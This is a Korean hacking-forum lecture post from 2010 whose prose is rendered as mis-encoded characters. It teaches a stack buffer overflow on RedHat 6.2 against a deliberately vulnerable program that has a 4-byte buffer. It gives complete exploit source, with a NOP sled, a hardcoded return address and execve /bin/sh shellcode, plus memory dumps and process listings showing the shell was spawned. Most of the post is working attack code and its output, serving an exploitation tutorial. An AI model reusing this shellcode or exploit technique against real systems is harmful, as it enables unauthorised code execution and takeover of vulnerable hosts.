1619, 1/81 ȸ¿ø°¡ÀÔ  ·Î±×ÀΠ 
   buff3r
   http://#include .
   [ÀÚÀÛ]RedHat 6.2 ȯ°æ¿¡¼­ BOF exploit ¸¸µé±â -The Second -

http://www.hackerschool.org/HS_Boards/zboard.php?id=Free_Lectures&no=1438 [º¹»ç]


Àú¹ø¿¡ ¸¸µé¾ú´ø ÀͽºÇ÷ÎÀÕÀº Ãë¾àÇÑ ÇÁ·Î±×·¥ ³»ºÎ ¹öÆÛ¾È¿¡¼­
¸ðµçÀÏÀ» ³¡³Â½À´Ï´Ù. À̹ø¿¡´Â buf ¿¡ 4¹ÙÀÌÆ® ¸¸À» ÇÒ´çÇÏ´Â ÇÁ·Î±×·¥À» ÀͽºÇ÷ÎÀÕ
ÇØº¸µµ·Ï ÇϰڽÀ´Ï´Ù
vuln.c
#include <stdio.h>
#include "dumpcode.h"
int main(int argc,char *argv[])
{
        char buf[4];  // 4¹ÙÀÌÆ®¸¸À» ÇÒ´çÇÕ´Ï´Ù.
                                 // STACK ±¸Á¶ [buf(4)][sfp(4)[ret(4)]
                                 // ¿ì¸®°¡ ÀÌ¿ëÇÒ¼ö Àִ°ø°£Àº 8Byte ÀÔ´Ï´Ù.
                                 // Àú¹ø°ú °°Àº ¹æ¹ýÀ¸·Î´Â ÀͽºÇ÷ÎÀÕÀÌ ºÒ°¡´ÉÇÕ´Ï´Ù.
        strcpy(buf,argv[1]);
        dumpcode(buf,500);
}

±×·¸´Ù¸é ¾î¶»°Ô °ø°ÝÀ» ¼º°ø½ÃÄÑ¾ß ÇÒ±î¿ä . ? ¹æ¹ýÀº µÎ°¡Áö°¡ ÀÖ½À´Ï´Ù.
1. ȯ°æº¯¼ö¸¦ ÀÌ¿ëÇÑ exploit
2. NOP À» ÀÌ¿ëÇÑ exploit
(RTL Àº ÀÏ´Ü »¯½À´Ï´Ù .. ¤»¤»)
À̹ø °­Á¿¡¼­´Â 2¹øÂ° ¹æ¹ýÀ» ÀÌ¿ëÇϰڽÀ´Ï´Ù.
8¹ÙÀÌÆ® ¹Û¿¡ ¾ø´Âµ¥ ¾î¶»°Ô NOPÀ» ³Ö³Ä±¸¿ä ??
¹æ¹ýÀº °£´ÜÇÕ´Ï´Ù. ret µÚ¿¡ NOP °ú ½©Äڵ带 ³Ö¾îÁØÈÄ, ret´Â NOPÁß ¾Æ¹«°÷À̳ª
°¡¸£Å°°Ô ÇϸéµË´Ï´Ù.
°ø°ÝÇÒ ½ºÅñ¸Á¶:
[¾²·¹±â°ª ( 8Byte ) ][ RET ( 8Bye ] [ NOP x 200 ( 200byte) ] [Shellcode ]
                            --------------               ¡è
                                    ¡é                      ¡è
                                    ¡æ¡æ¡æ¡æ¡æ¡æ¡æ¡æ¡æ¡æ

ÀÌ·±½ÄÀ¸·Î ±¸¼ºÇÏ¸é µË´Ï´Ù.
ÀÏ´Ü ret µÚ¿¡ NOPÀÌ PUSH µÉ ÁÖ¼Ò¸¦ ã¾Æº¾½Ã´Ù.
[test@localhost test]$ ./vuln `perl -e 'print "\x90"x600'`
0xbffff904  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffff914  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffff924  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffff934  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffff944  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffff954  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffff964  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffff974  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffff984  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffff994  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffff9a4  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffff9b4  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffff9c4  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffff9d4  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffff9e4  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffff9f4  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffa04  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffa14  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffa24  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffa34  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffa44  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffa54  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffa64  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffa74  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffa84  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffa94  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffaa4  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffab4  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffac4  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffad4  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffae4  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffaf4  90 90 90 90                    

°ø°£ÀÌ Âü ¹«±Ã¹«Áø Çϱº¿ä +-+
¿ì¸®´Â 0xbffff924 ¸¦ ÀÌ¿ëÇսô٠.
ex.c
#include <stdlib.h>
char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68"; // This Is Shellcode
int main(int argc, char *argv[])
{
        int i, offset;
        long esp, ret, *addr_ptr;
        char *buffer, *ptr;
        ret = 0xbffff924;  // ¿ì¸®°¡ ÀÌ¿ëÇÒ RET °ª
        buffer = malloc(600);
        ptr = buffer;
        addr_ptr = (long *) ptr;
        for(i=0; i < 600; i+=4)
        { *(addr_ptr++) = ret; }  // ¸ðµç 600 byte¸¦ ret·Î µ¤¾î¾´´Ù
        for(i=0; i < 8; i++)
        { buffer[i] = '\x41'; } // óÀ½ 8 ¹ÙÀÌÆ®¸¦ \x41 (A) ·Î µ¤¾î¾´´Ù.
        ptr = buffer + 12; // ½ºÅà ¸ð½ÀÀÌ [A x 8 (8byte)][RET ( 4byte)] À̹ǷÎ
                                 // NOPÀº ret µÚÀÎ buffer + 12 ºÎÅÍ µ¤¾î¾´´Ù.
        for(i=0; i < 200; i++)
        { *(ptr++) = '\x90'; }   // NOP µ¤¾î¾²±â
        ptr = buffer + 212; // ½©Äڵ尡 À§Ä¡ÇÒ ºÎºÐ
        for(i=0; i < strlen(shellcode); i++)
        { *(ptr++) = shellcode[i]; }   // RET , NOP µÚ¿¡ ½©Äڵ带 µ¤¾î¾´´Ù.

        buffer[600-1] = 0;        
        execl("./vuln", "vuln", buffer, 0);                      // ½ÇÇà
        free(buffer);
        return 0;
}
°ø°ÝÇϱâÀü :
[test@localhost test]$ ps
  PID TTY          TIME CMD
  681 pts/0    00:00:00 bash
  732 pts/0    00:00:00 bash2
  741 pts/0    00:00:00 ps

°ø°Ý :
[test@localhost test]$ ./ex
0xbffff8d4  41 41 41 41 41 41 41 41 24 f9 ff bf 90 90 90 90   AAAAAAAA$.......
0xbffff8e4  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffff8f4  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffff904  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffff914  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffff924  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffff934  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffff944  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffff954  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffff964  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffff974  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffff984  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffff994  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffff9a4  90 90 90 90 31 c0 b0 46 31 db 31 c9 cd 80 eb 16   ....1..F1.1.....
0xbffff9b4  5b 31 c0 88 43 07 89 5b 08 89 43 0c b0 0b 8d 4b   [1..C..[..C....K
0xbffff9c4  08 8d 53 0c cd 80 e8 e5 ff ff ff 2f 62 69 6e 2f   ..S......../bin/
0xbffff9d4  73 68 ff bf 24 f9 ff bf 24 f9 ff bf 24 f9 ff bf   sh..$...$...$...
0xbffff9e4  24 f9 ff bf 24 f9 ff bf 24 f9 ff bf 24 f9 ff bf   $...$...$...$...
0xbffff9f4  24 f9 ff bf 24 f9 ff bf 24 f9 ff bf 24 f9 ff bf   $...$...$...$...
0xbffffa04  24 f9 ff bf 24 f9 ff bf 24 f9 ff bf 24 f9 ff bf   $...$...$...$...
0xbffffa14  24 f9 ff bf 24 f9 ff bf 24 f9 ff bf 24 f9 ff bf   $...$...$...$...
0xbffffa24  24 f9 ff bf 24 f9 ff bf 24 f9 ff bf 24 f9 ff bf   $...$...$...$...
0xbffffa34  24 f9 ff bf 24 f9 ff bf 24 f9 ff bf 24 f9 ff bf   $...$...$...$...
0xbffffa44  24 f9 ff bf 24 f9 ff bf 24 f9 ff bf 24 f9 ff bf   $...$...$...$...
0xbffffa54  24 f9 ff bf 24 f9 ff bf 24 f9 ff bf 24 f9 ff bf   $...$...$...$...
0xbffffa64  24 f9 ff bf 24 f9 ff bf 24 f9 ff bf 24 f9 ff bf   $...$...$...$...
0xbffffa74  24 f9 ff bf 24 f9 ff bf 24 f9 ff bf 24 f9 ff bf   $...$...$...$...
0xbffffa84  24 f9 ff bf 24 f9 ff bf 24 f9 ff bf 24 f9 ff bf   $...$...$...$...
0xbffffa94  24 f9 ff bf 24 f9 ff bf 24 f9 ff bf 24 f9 ff bf   $...$...$...$...
0xbffffaa4  24 f9 ff bf 24 f9 ff bf 24 f9 ff bf 24 f9 ff bf   $...$...$...$...
0xbffffab4  24 f9 ff bf 24 f9 ff bf 24 f9 ff bf 24 f9 ff bf   $...$...$...$...
0xbffffac4  24 f9 ff bf                                       $...
bash$
°ø°Ý ÇÏ°í³­ ÈÄ :
bash$ ps
  PID TTY          TIME CMD
  681 pts/0    00:00:00 bash
  732 pts/0    00:00:00 bash2
  739 pts/0    00:00:00 sh // °ø°ÝÀÌ ¼º°øÇߴٴ°ÍÀ» ¾Ë¼öÀÖ´Ù
  740 pts/0    00:00:00 ps


  Hit : 9606     Date : 2010/03/18 06:55



    
º°ºûÀ»´ã¾Æ ¿©·¯ºÐÀº Áö±Ý buff3r°¡ ¹öÆÛ¸¦ °¡Áö°í ³î°í ÀÖ´Â ±¤°æÀ» º¸°í °è½Ê´Ï´Ù.

¿©Æ° ¼±´ñ±Û Èݨ»ó
2010/03/18  
ÃÊÄÝ·¿³ªÀÎ ¹öÆÛ°¡ ¹öÆÛ¸¦ °¡Áö°í ³î°íÀÖ´Â ±¤°æ¤»¤»¤» 2010/03/18  
kjwon15 NOP À» °¡Áö°í ³ë´Â ±¤°æÀ̱º¿ä.. 2010/03/23  
zzguswhd ¾î¶².. ÄÄÆÄÀÏ·¯¸¦ ¾´°Å¿¡¿ä ?; 2010/07/26  
Cpgroot ÁÁÀºÁ¤º¸ µè°í°¨ ..¤·¤µ¤· 2010/08/18  
     [°øÁö] °­Á¸¦ ¿Ã¸®½Ç ¶§´Â ¸»¸Ó¸®¸¦ ´Þ¾ÆÁÖ¼¼¿ä^¤Ñ^ [29] ¸Û¸Û 02/27 22008
1618   realip_finder(asm ver)     ÇØÅ·ÀßÇϰí½Í´Ù
02/05 670
1617   realip_finder     ÇØÅ·ÀßÇϰí½Í´Ù
02/05 673
1616   ¸®´ª½º Ä¿³Î&¿î¿µÃ¼Á¦ °³·Ð (1)     ÇØÅ·ÀßÇϰí½Í´Ù
11/02 1029
1615   stack overflow »çÀÌÆ® ¹ø¿ª     ÇØÅ·ÀßÇϰí½Í´Ù
07/09 1428
1614   [L.O.B ¿øÁ¤´ë] - troll     ÇØÅ·ÀßÇϰí½Í´Ù
07/08 1768
1613   [L.O.B ¿øÁ¤´ë] - orge     ÇØÅ·ÀßÇϰí½Í´Ù
07/07 1719
1612   [L.O.B ¿øÁ¤´ë] - darkelf     ÇØÅ·ÀßÇϰí½Í´Ù
07/07 1655
1611   [L.O.B ¿øÁ¤´ë] - wolfman     ÇØÅ·ÀßÇϰí½Í´Ù
07/03 1660
1610   [L.O.B ¿øÁ¤´ë] - orc     ÇØÅ·ÀßÇϰí½Í´Ù
07/03 1492
1609   [L.O.B ¿øÁ¤´ë] - goblin     ÇØÅ·ÀßÇϰí½Í´Ù
07/02 1692
1608   [L.O.B ¿øÁ¤´ë] - cobolt     ÇØÅ·ÀßÇϰí½Í´Ù
07/02 1899
1607   [L.O.B ¿øÁ¤´ë] - gremlin     ÇØÅ·ÀßÇϰí½Í´Ù
07/02 1602
1606   [L.O.B ¿øÁ¤´ë] - gate     ÇØÅ·ÀßÇϰí½Í´Ù
07/02 1473
1605   ARP ½ºÇªÇÎ - Part.1 -     ÇØÅ·ÀßÇϰí½Í´Ù
04/20 1939
1604   http ½º´ÏÆÛ ±¸Çö     ÇØÅ·ÀßÇϰí½Í´Ù
04/20 1672
1603   pcapÀ¸·Î ÆÐŶ ½º´ÏÆÛ ±¸ÇöÇϱ⠠   ÇØÅ·ÀßÇϰí½Í´Ù
04/20 1520
1602   ÇØÄ¿½ºÄ𠸸ȭÀÇ ÀÚµ¿À¸·Î ½ºÄµÇÏ´Â ÇÁ·Î±×·¥     ÇØÅ·ÀßÇϰí½Í´Ù
02/18 1896
1601   ½Ã½ºÅÛ ÄÝ ÃßÀû È®ÀåÆÇ[2]     ÇØÅ·ÀßÇϰí½Í´Ù
01/19 2043
1600   °£´ÜÇÑ ½Ã½ºÅÛ ÄÝ ÃßÀû ÇÁ·Î±×·¥ ¸¸µé±â     ÇØÅ·ÀßÇϰí½Í´Ù
01/18 2047
1 [2][3][4][5][6][7][8][9][10]..[81]

Copyright 1999-2026 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org